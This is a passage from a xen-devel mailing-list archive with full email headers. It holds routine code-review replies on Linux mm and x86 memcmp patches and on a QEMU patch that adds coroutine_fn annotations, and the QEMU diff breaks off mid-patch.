 <bcm-kernel-feedback-list@broadcom.com>,
 Matthew Brost <matthew.brost@intel.com>,
 =?UTF-8?Q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>,
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>,
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>,
 Boris Brezillon <boris.brezillon@collabora.com>,
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: linux-mm@kvack.org, linux-kernel@vger.kernel.org,
 linux-mips@vger.kernel.org, linux-aio@kvack.org,
 linux-fsdevel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 dri-devel@lists.freedesktop.org, etnaviv@lists.freedesktop.org,
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org,
 nouveau@lists.freedesktop.org, linux-tegra@vger.kernel.org,
 virtualization@lists.linux.dev, intel-xe@lists.freedesktop.org,
 xen-devel@lists.xenproject.org, linux-fbdev@vger.kernel.org,
 linux-sound@vger.kernel.org
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
 <20260711-b4-vma-flags-mm-v2-13-0fa2357d5431@kernel.org>
From: "Vlastimil Babka (SUSE)" <vbabka@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TngudP9IJ4SuKY
 HR5RNjHcBeqN+Me0zxRqYzRb8nGanHEkDyf4Im8DQM8d6vbyU+FcPmG4skud4kgS1zMHnlVd
 SXfSIwKC/hKgdHG8aBV7545Lz9X6Iohea+94wneD0aw/hqF+QWewGZhWJriWAZtvEkzNjQOi
 4U9F/trLten/x7bpphDSnDMKJtITbtzATT1Dq7o7VpIUK1nCTQALMuMjKCdi8OdU/+V+R3O4
 0PXWvX8qrvqYapVbZ+9KqT74FsuB0Ya9uXwgBF2Q6cRuETZk5vqaqKxzqoQZCO8AOz/58j6O
 2RHNy/mZEN+7tJ5Tsq42zVJ4jxsT8b9YplavCMsnBgDeRWhcbYhCyttoL7nYISyWg4kQYZ/P
 wIV3OuNv2f8iKYsxNsRuClOAF82+gvqOy1/1pprFjy8uo2pkoOrb63aOP3vO5VHnRKgra6dq
 NcaZ+c6J4H+nEJGi2SkHAUJz5oBzuThvPudLvPA/SK8sKoM01IRxSihev/S/5WLazXB1PGem
 OCbvzC1IjWJJraxiDJ5IygokapUa2RP7+WBR22skQ3SSl6G107QgWKSyTOGWEaRmV53vxQLV
 jXuCmzSSasTL60zq5yGrT4/DYQVSNEUiUbG4pYekxJujNeEDkUlky0Y=
In-Reply-To: <20260711-b4-vma-flags-mm-v2-13-0fa2357d5431@kernel.org>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1784736935-716AD2A1-E2DDF39F/0/0
X-purgate-type: clean
X-purgate-size: 1014

On 7/11/26 20:45, Lorenzo Stoakes wrote:
> Replace use of the legacy vm_flags_t flags with vma_flags_t values
> throughout the mremap logic.
> 
> Note that, in replacing vm_flags_clear() (which takes the VMA write lock)
> with vma_clear_flags() and vma_clear_flags_mask() (which do not)
> respectively in unmap_source_vma() and dontunmap_complete(), we do not add
> a VMA write lock to account for htis.
> 
> This is because, in both cases, move_vma() is their calling function and
> this has already acquired the VMA write lock on vrm->vma whose VMA flags
> are being cleared.
> 
> In the case of vma_set_flags() in unmap_source_vma() we do need to do this
> - as prev and next were not necessarily write locked at this point.
> 
> Additionally update comments to reflect the changes to be consistent.
> 
> No functional change intended.
> 
> Reviewed-by: Zi Yan <ziy@nvidia.com>
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>

Reviewed-by: Vlastimil Babka (SUSE) <vbabka@kernel.org>



From xen-devel-bounces@lists.xenproject.org Wed Jul 22 17:04:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 17:04:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368659.1617917 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmaMX-0004mQ-Nr; Wed, 22 Jul 2026 17:04:05 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368659.1617917; Wed, 22 Jul 2026 17:04:05 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmaMX-0004mJ-LI; Wed, 22 Jul 2026 17:04:05 +0000
Received: by outflank-mailman (input) for mailman id 1368659;
 Wed, 22 Jul 2026 17:04:04 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <bp@alien8.de>) id 1wmaMW-0004mD-2P
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 17:04:04 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmaMV-00H1TA-CJ
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 19:04:03 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <bp@alien8.de>)
 id 6a60f7f6-2eae-0a2a0a5409dd-0a2a4508db70-32
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 19:04:03 +0200
Received: from [65.109.113.108] (helo=mail.alien8.de)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <bp@alien8.de>)
 id 6a60f802-f659-0a2a45080019-416d716ce040-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 19:04:03 +0200
Received: from localhost (localhost.localdomain [127.0.0.1])
 by mail.alien8.de (SuperMail on ZX Spectrum 128k) with ESMTP id 676B440E014C; 
 Wed, 22 Jul 2026 17:04:02 +0000 (UTC)
Received: from mail.alien8.de ([127.0.0.1])
 by localhost (mail.alien8.de [127.0.0.1]) (amavisd-new, port 10026)
 with ESMTP id XvFiLD8XTnGS; Wed, 22 Jul 2026 17:03:52 +0000 (UTC)
Received: from stx.tnic (unknown [IPv6:2600:1700:38ca:c00::2b])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange ECDHE (P-256) server-signature ECDSA (P-256) server-digest
 SHA256) (No client certificate requested)
 by mail.alien8.de (SuperMail on ZX Spectrum 128k) with ESMTPSA id 7369240E019E;
 Wed, 22 Jul 2026 17:03:37 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=alien8 header.d=alien8.de header.i="@alien8.de" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
X-Virus-Scanned: Debian amavisd-new at mail.alien8.de
Authentication-Results: mail.alien8.de (amavisd-new); dkim=pass (4096-bit key)
	header.d=alien8.de
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=alien8.de; s=alien8;
	t=1784739830; bh=0TMyZJ+2oYdfk/x6fhwC12KPd/UX0c869fa4clJ+aPo=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=ZhtkdSZkxAhyAZ8ADc7HxuMK/GaikUBwGUUA0nbJC7FzNV5bvFxEpYyz3/MTr6daN
	 M5BRpHk8CQRN/vRRnhnUSAcvTGkmJyvGF5ZvOQSWEpm2PJKa/JMub9g++/Qx5X6jw0
	 nn5m5LJ/5gd+PulU9uBaXUigHhG+NB+unF0I4DD0ZyKxlleS48VreKflMcAVaM+3ym
	 hskVZ1cOt9ffyULhkZTCr9Zy75T5AAhRjoM18W9wueHo34+8YJbulLdOOxfCMXRXv/
	 JTHWksTA4AF9+e20kkW865tVMLj4QSouV/YLEoRqQ79a/KX3BvHY71g5EGALYICIxc
	 hhUI2nUJbv582HtR9SqBHyA0xRViXim49oqhtODjWqr5zc+HwRjcvZ0M9+e1MWMJrj
	 RPfuvjl2BLUBnUFhIS+nUOlqOfWq+pyYvs/xVOEH561d31o6K0E1SQWjJuihpYM5RL
	 xDZq5EdtVFDfdj69NZIM7tAh5rPqJ7n+OzxwJEITyTJfrN2ugFVHSiVPZSptKDKKzO
	 mpVnwvEpGostusQwfe29KG6LfHvWwyr/5z5cz6fJMfRj25U1v3RG8SGMvZBuW8kC5S
	 TOfpDb/FiPp1EcDmqacGcvqfWPr57hh+EJvnOTCL2hZuyZHtj3kX86/C9Ntybq0Ypz
	 eXmu+N1uuPDGsbeRX0mtONA0=
Date: Wed, 22 Jul 2026 10:03:34 -0700
From: Borislav Petkov <bp@alien8.de>
To: Mauricio Faria de Oliveira <mfo@igalia.com>,
	"H. Peter Anvin" <hpa@zytor.com>
Cc: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>,
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org,
	Juergen Gross <jgross@suse.com>,
	Alexey Dobriyan <adobriyan@gmail.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com,
	linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org
Subject: Re: [PATCH v7 2/5] x86/asm: add volatile, clobbers and zero-length
 check in inline memcmp
Message-ID: <20260722170334.GCamD35gwrCng30WH1@fat_crate.local>
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
 <20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
In-Reply-To: <20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com>
X-purgate-ID: tlsNG-c1860d/1784739843-CDF4787B-8A1AE63E/0/0
X-purgate-type: clean
X-purgate-size: 2120

hpa in To:.

On Tue, Jul 21, 2026 at 12:56:43PM -0300, Mauricio Faria de Oliveira wrote:
> Add the volatile qualifier and clobbers parameter to prevent bugs with
> instruction reordering and optimization.
> 
> Also check the zero-length case, as the 'repe' prefix does not run the
> 'cmpsb' instruction if the 'count' register is zero, which doesn't set

Please use capital letters for insns: REPE, CMPSB and you don't need to put
words in '' - it reads fine without them.

> the condition-code/zero flag, so the result is based on a stale flag.
> 
> Those are pre-existing issues found by Sashiko.
> 
> Link: https://sashiko.dev/#/patchset/20260701-pvh-kasan-inline-v6-0-ba99045dfa9f%40igalia.com
> Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
> ---
>  arch/x86/include/asm/shared/string.h | 8 ++++++--
>  1 file changed, 6 insertions(+), 2 deletions(-)
> 
> diff --git a/arch/x86/include/asm/shared/string.h b/arch/x86/include/asm/shared/string.h
> index 02b92927553f7b8e1c87e6122bbaa70439e57ea7..166274e44f3cb49e3dccab3cdac281d67aef5d44 100644
> --- a/arch/x86/include/asm/shared/string.h
> +++ b/arch/x86/include/asm/shared/string.h
> @@ -11,8 +11,12 @@ static __always_inline int __inline_memcmp(const void *s1, const void *s2, size_
>  {
>  	bool diff;
>  
> -	asm("repe cmpsb"
> -	    : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
> +	if (len == 0)
> +		return 0;
> +
> +	asm volatile("repe cmpsb"
> +		     : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len)
> +		     : : "cc", "memory");
>  
>  	return diff;
>  }

So this is a fix which should probably go to stable, I think. Going back into
git history, it points to

  62bd0337d0c4 ("Top header file for new x86 setup code")

from 2007. And we have carried it this way through the years and who knows
what hit this or not. So please make this the first patch in your set - you
can even send it separately so that I can get route it through stable.

Then you can base the rest ontop.

Thx.

-- 
Regards/Gruss,
    Boris.

https://people.kernel.org/tglx/notes-about-netiquette


From xen-devel-bounces@lists.xenproject.org Wed Jul 22 17:20:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 17:20:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368679.1617927 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmabo-0007Fp-03; Wed, 22 Jul 2026 17:19:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368679.1617927; Wed, 22 Jul 2026 17:19:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmabn-0007Fi-Td; Wed, 22 Jul 2026 17:19:51 +0000
Received: by outflank-mailman (input) for mailman id 1368679;
 Wed, 22 Jul 2026 17:19:50 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <den@virtuozzo.com>) id 1wmabm-0007Fa-HG
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 17:19:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmabl-0054SF-UL
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 19:19:49 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <den@virtuozzo.com>)
 id 6a60fbb3-5cb7-0a2a0a5109dd-0a2a4504896c-2
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 19:19:49 +0200
Received: from [52.101.84.111]
 (helo=DB3PR0202CU003.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <den@virtuozzo.com>)
 id 6a60fbb5-b57f-0a2a45040019-3465546faf6c-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 19:19:49 +0200
Received: from AM9PR08MB5892.eurprd08.prod.outlook.com (2603:10a6:20b:2dd::16)
 by PA6PR08MB10526.eurprd08.prod.outlook.com (2603:10a6:102:3d5::16)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.18; Wed, 22 Jul
 2026 17:19:47 +0000
Received: from AM9PR08MB5892.eurprd08.prod.outlook.com
 ([fe80::94bb:633f:1f55:4bbd]) by AM9PR08MB5892.eurprd08.prod.outlook.com
 ([fe80::94bb:633f:1f55:4bbd%2]) with mapi id 15.21.0245.009; Wed, 22 Jul 2026
 17:19:47 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector2 header.d=virtuozzo.com header.i="@virtuozzo.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=zQUKciMWDIq3xVTB6br1LQX6XVPI9DHk9CBgJndPAoXSdUOKLjvnDpWEaXuTxHOEzBl49Kd+AQvarO3YhuBJmd+XdYAHTEUsN1tZhZln9ufmeMr1fKUdtdhXyKXjqcZx/p/0ilLXwpPG3YiU1Z/sDjzSsMDPfZ43GQJyKJ8hvHhUK8NDduOTJgMMQtz2O3JDD7upDlUproOFKv14/tE9eImMYG/0H9fdss0Qz8E1QXwEXaBPYNFFkpYB07TPWNDLdBT3GNfMIjnHvyvYECnknDjh0PMAklqqYcRhXWNYXahye23jIRFyX4bGz1yFnsHwxgPGmAp54JBA/Q8+EPA2Cw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Mfm9NXIWVTQgGbPugzT8H+LawEEKM942vZhuo4NZw4s=;
 b=UCEOSRNPpazXsWZIYF5/L+GqaWNzPHFFoGb9IqMACmvZ6YlurEvi9eH3J6OrtUaHRNPiSvZJmwzuvMrWDYWVMt7HFWzzC9Bgsq3a5kHx/4J+xCG3kcTuyhnUEvFPpPjXbRcx89MGH7OnrgZQEMf1wSjdV2fXKwONvwa8vx1plsyE12IHfjgXm6IS1vO4I3PJj5yYQlhtWuAV/boMZwthbuuiJZ4EEqfq1OJJgL2vkcyKa2+Wd3ctigz5B6LCD7h90Pwvbt/LK46hrrhVjFuYrMoa5BaHAxyK7rqE2MClaJjkvU2rOX961GhbJdy5JrnfYelerClYAM6SRQI+408i7w==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=virtuozzo.com; dmarc=pass action=none
 header.from=virtuozzo.com; dkim=pass header.d=virtuozzo.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=virtuozzo.com;
 s=selector2;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Mfm9NXIWVTQgGbPugzT8H+LawEEKM942vZhuo4NZw4s=;
 b=0WcNNWYhiDBcIafEHE6GydVdpeYibK4EbEpfyueER22dem34rAgpWk5cfW3FKtkZpl3/FpTghrHthlV9K6WIb+FdLyW2RbBYw36Lnw+z1seYodH3gM71y27w+RkP7B+dfOHiAi6GmNEjvMPiDUYwbsnXl1YDp16D031GZw0bbufoPxq/ipbtm6fEQZMWTyHiBtN2ACgTaYbgityfk+FvVScAZzAN9tfHAYIWev2ZW525Ys7S4R6MzsyIQ6ZA1m82SDJEBCDeB6yyh+Vi1CDIt6oeambQftvYxjr7uZDs9p7+fD9X9oXXulLj6c8LU0XJs35ikoOJFgx1LNVddJ/DHQ==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=virtuozzo.com;
Message-ID: <a0f4e27b-dc78-4aa4-9b76-bb7fafc8d38d@virtuozzo.com>
Date: Wed, 22 Jul 2026 19:19:45 +0200
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 6/8] block: add missing coroutine_fn annotations
To: =?UTF-8?Q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>,
 qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>,
 Fabiano Rosas <farosas@suse.de>, =?UTF-8?Q?Daniel_P=2E_Berrang=C3=A9?=
 <berrange@redhat.com>, John Snow <jsnow@redhat.com>,
 Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>,
 Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>,
 qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>,
 Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>,
 Christian Schoenebeck <qemu_oss@crudebyte.com>, Greg Kurz <groug@kaod.org>,
 "Michael S. Tsirkin" <mst@redhat.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony@xenproject.org>,
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
 xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
 <20260720-co-v1-6-fabb4db3c204@redhat.com>
Content-Language: en-US
From: "Denis V. Lunev" <den@virtuozzo.com>
In-Reply-To: <20260720-co-v1-6-fabb4db3c204@redhat.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: VI4PEPF00000139.AUTP296.PROD.OUTLOOK.COM
 (2603:10a6:808:1::898) To AM9PR08MB5892.eurprd08.prod.outlook.com
 (2603:10a6:20b:2dd::16)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: AM9PR08MB5892:EE_|PA6PR08MB10526:EE_
X-MS-Office365-Filtering-Correlation-Id: 211fc75a-2077-4566-2c58-08dee8156e44
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|10070799003|376014|7416014|366016|23010399003|1800799024|22082099003|18002099003|6133799003|56012099006|4143699003|10067099003;
X-Microsoft-Antispam-Message-Info:
	Q1gk0aBDJA6HtnNwXZUMOrAeV7JkZ+zU8Jwx1dtEQGdYmrA/EM6p1M3ovOq2ItPBz8/itX1t3aCcI+SWu0eltZjLJlMP2uvUkJgXn24T05DuVHp3oK4AR44lU1HNwe+mVMKO92BoLLj/7bMF2NQBVJdcOfSnDzI5LyMWesqzqEGFwf2J/J7w/4I5qRnBCElNc9RfAeHrJwJUlFTbM7JSOn5GAhsFm3AbuD/4JLP1JsHQX5pMJxtqIVmPQTx7ZpXU/2YXggLUK6INGG1hXWkroA9arJ8PP5GMtibYN8Kx8ZRlnNb4NqzwXSPSwIuc0310lIFE8WL7fYb60jftLXBzFRD3L0ZW9pXjRpEK4Tq0o8JWYrQbl6DdFNilIsxYiO1BnTFLMyW238n4IJy5UP1WflWF2XUe9XX8jpbBixgkpMvbzuea5Gl13s37lmPSmyD0qStjBH43Wcdake9JCD0dFsHqxVLIX7XSeBGv9yDEySESNe1+9h9seYgGBqzjGuARDCzb1PNdcwXBqJYDqhFBYUaUugvm9WgzO/HVftZZrQIc7rECP84yMSyJJ1AK85yybHgKcK52qds66Fbqh5m0t1cOc6TeJnUoFiM2HNyXjMTiF9HNrgyuWuorJjPKtGRGRtr/44kPlRFfaTP3cbA2XCtFwc7d0mVNJJe2+PtOHxI=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PR08MB5892.eurprd08.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(10070799003)(376014)(7416014)(366016)(23010399003)(1800799024)(22082099003)(18002099003)(6133799003)(56012099006)(4143699003)(10067099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?MXNQcGl6YTVCbFpZNWpWRGlqdUJoeU5TWUpnelkvTVFXdDZ5VGZBQlBZUUJW?=
 =?utf-8?B?WVZ4S0R6cEJ0OExCZngvckk3azJlay9FcUw1dVVESzlRZyt6WWNCeTRtR1RV?=
 =?utf-8?B?NEtDT3I4a1k3c1BpQldibVFXc1lvajhNZmkyVTkra0U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Ddkp3K3YrRlZCZzNFdDZ0REVrc1l0L1hWOTYxekxj?=
 =?utf-8?B?a0FmTDF6V2pJLzNycDdOeFZnWVhOeE84TG1ERmRwSWFiVzNOdUxQQ0NnWmx4?=
 =?utf-8?B?ZmRqS2V1T0tUQ0U3alk5TmVmWG9uMmpZQkxFTTlyZVJNckxCclpaM2VxZ0dt?=
 =?utf-8?B?eHIrVEcyczVGdHFqTitlOTBMWEJrMWhvTHdsaTVUdFJkVjBua1E5dC83WDNU?=
 =?utf-8?B?VG4vR2VqZW9kTThOS1ByL3NENUpPZ2E0ZU1lY2tpS21BVU40QXhBUWhWb3dU?=
 =?utf-8?B?Zk1oMHY0OE1YQnNqUTFlL0Iwcm1hcEk3T1cwM3lRK2lmMGhBOTdUUmR3Ukx5?=
 =?utf-8?B?M2NsejlJdWlsaDJ4d1ZZM0NxVW5hL2pWQ0JBQ1V1VnQ1ckY2cEhRRjJ0M3hT?=
 =?utf-8?B?Z2VkTmdaNUcxbFpaWkVrc1JxaTZYdmRPTWM4S2ZhSGs4U2VONHBZK21VUm9S?=
 =?utf-8?Q?ADiwV/l1Iw5IgLX+kmDETXZAWfxoC+ns3vsZRTdRmo0Pj?=
X-MS-Exchange-AntiSpam-MessageData-1: FpSx6ul67Cni8Q==
X-OriginatorOrg: virtuozzo.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 211fc75a-2077-4566-2c58-08dee8156e44
X-MS-Exchange-CrossTenant-AuthSource: AM9PR08MB5892.eurprd08.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 22 Jul 2026 17:19:47.6705
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 0bc7f26d-0264-416e-a6fc-8352af79c58f
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: lt2KJpuFGZ4cSYvIKamUtbcRIEeLKzoWnhvwI/o5OUeyQuCT/9TKSUcboKVDbES98tvan+G+QZqb1KPnRbEJQw==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PA6PR08MB10526
X-purgate-ID: tlsNG-ebf023/1784740789-524CBB50-42DEC65D/0/0
X-purgate-type: clean
X-purgate-size: 5488

On 7/20/26 09:55, Marc-AndrÃ© Lureau wrote:
> The functions call coroutine functions or are called by coroutine.
>
> Add an assert() in qcow2_do_close() code path which calls a
> no_coroutine_fn bdrv_graph_wrlock_drained().
>
> Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
> ---
>  include/block/blockjob_int.h |  2 +-
>  block/crypto.c               | 13 +++++++------
>  block/io.c                   |  8 +++++---
>  block/parallels.c            |  5 +++--
>  block/qcow2.c                | 11 +++++++----
>  blockjob.c                   |  3 ++-
>  6 files changed, 25 insertions(+), 17 deletions(-)
>
> diff --git a/include/block/blockjob_int.h b/include/block/blockjob_int.h
> index 4c3d2e25a20..34e172874fa 100644
> --- a/include/block/blockjob_int.h
> +++ b/include/block/blockjob_int.h
> @@ -150,7 +150,7 @@ void block_job_ratelimit_processed_bytes(BlockJob *job, uint64_t n);
>   * Put the job to sleep (assuming that it wasn't canceled) to throttle it to the
>   * right speed according to its rate limiting.
>   */
> -void block_job_ratelimit_sleep(BlockJob *job);
> +void coroutine_fn block_job_ratelimit_sleep(BlockJob *job);
>  
>  /**
>   * block_job_error_action:
> diff --git a/block/crypto.c b/block/crypto.c
> index 36abb7af468..8a34d92fded 100644
> --- a/block/crypto.c
> +++ b/block/crypto.c
> @@ -56,12 +56,13 @@ static int block_crypto_probe_generic(QCryptoBlockFormat format,
>  }
>  
>  
> -static int block_crypto_read_func(QCryptoBlock *block,
> -                                  size_t offset,
> -                                  uint8_t *buf,
> -                                  size_t buflen,
> -                                  void *opaque,
> -                                  Error **errp)
> +static int coroutine_mixed_fn
> +block_crypto_read_func(QCryptoBlock *block,
> +                       size_t offset,
> +                       uint8_t *buf,
> +                       size_t buflen,
> +                       void *opaque,
> +                       Error **errp)
>  {
>      BlockDriverState *bs = opaque;
>      BlockCrypto *crypto = bs->opaque;
> diff --git a/block/io.c b/block/io.c
> index a916b236c3c..99dd16864a3 100644
> --- a/block/io.c
> +++ b/block/io.c
> @@ -346,8 +346,9 @@ static void coroutine_fn bdrv_co_yield_to_drain(BlockDriverState *bs,
>      assert(data.done);
>  }
>  
> -static void bdrv_do_drained_begin(BlockDriverState *bs, BdrvChild *parent,
> -                                  bool poll)
> +static void coroutine_mixed_fn
> +bdrv_do_drained_begin(BlockDriverState *bs, BdrvChild *parent,
> +                      bool poll)
>  {
>      IO_OR_GS_CODE();
>  
> @@ -397,7 +398,8 @@ bdrv_drained_begin(BlockDriverState *bs)
>   * This function does not poll, nor must any of its recursively called
>   * functions.
>   */
> -static void bdrv_do_drained_end(BlockDriverState *bs, BdrvChild *parent)
> +static void coroutine_mixed_fn
> +bdrv_do_drained_end(BlockDriverState *bs, BdrvChild *parent)
>  {
>      IO_OR_GS_CODE();
>  
> diff --git a/block/parallels.c b/block/parallels.c
> index 7a90fb5220b..46a6e8f2743 100644
> --- a/block/parallels.c
> +++ b/block/parallels.c
> @@ -142,8 +142,9 @@ static uint32_t host_cluster_index(BDRVParallelsState *s, int64_t off)
>      return off / s->cluster_size;
>  }
>  
> -static int64_t block_status(BDRVParallelsState *s, int64_t sector_num,
> -                            int nb_sectors, int *pnum)
> +static int64_t coroutine_fn
> +block_status(BDRVParallelsState *s, int64_t sector_num,
> +             int nb_sectors, int *pnum)
>  {
>      int64_t start_off = -2, prev_end_off = -2;
>  
> diff --git a/block/qcow2.c b/block/qcow2.c
> index 19271b10a49..161626fa3cb 100644
> --- a/block/qcow2.c
> +++ b/block/qcow2.c
> @@ -1287,9 +1287,10 @@ fail:
>  }
>  
>  /* s_locked specifies whether s->lock is held or not */
> -static void qcow2_update_options_commit(BlockDriverState *bs,
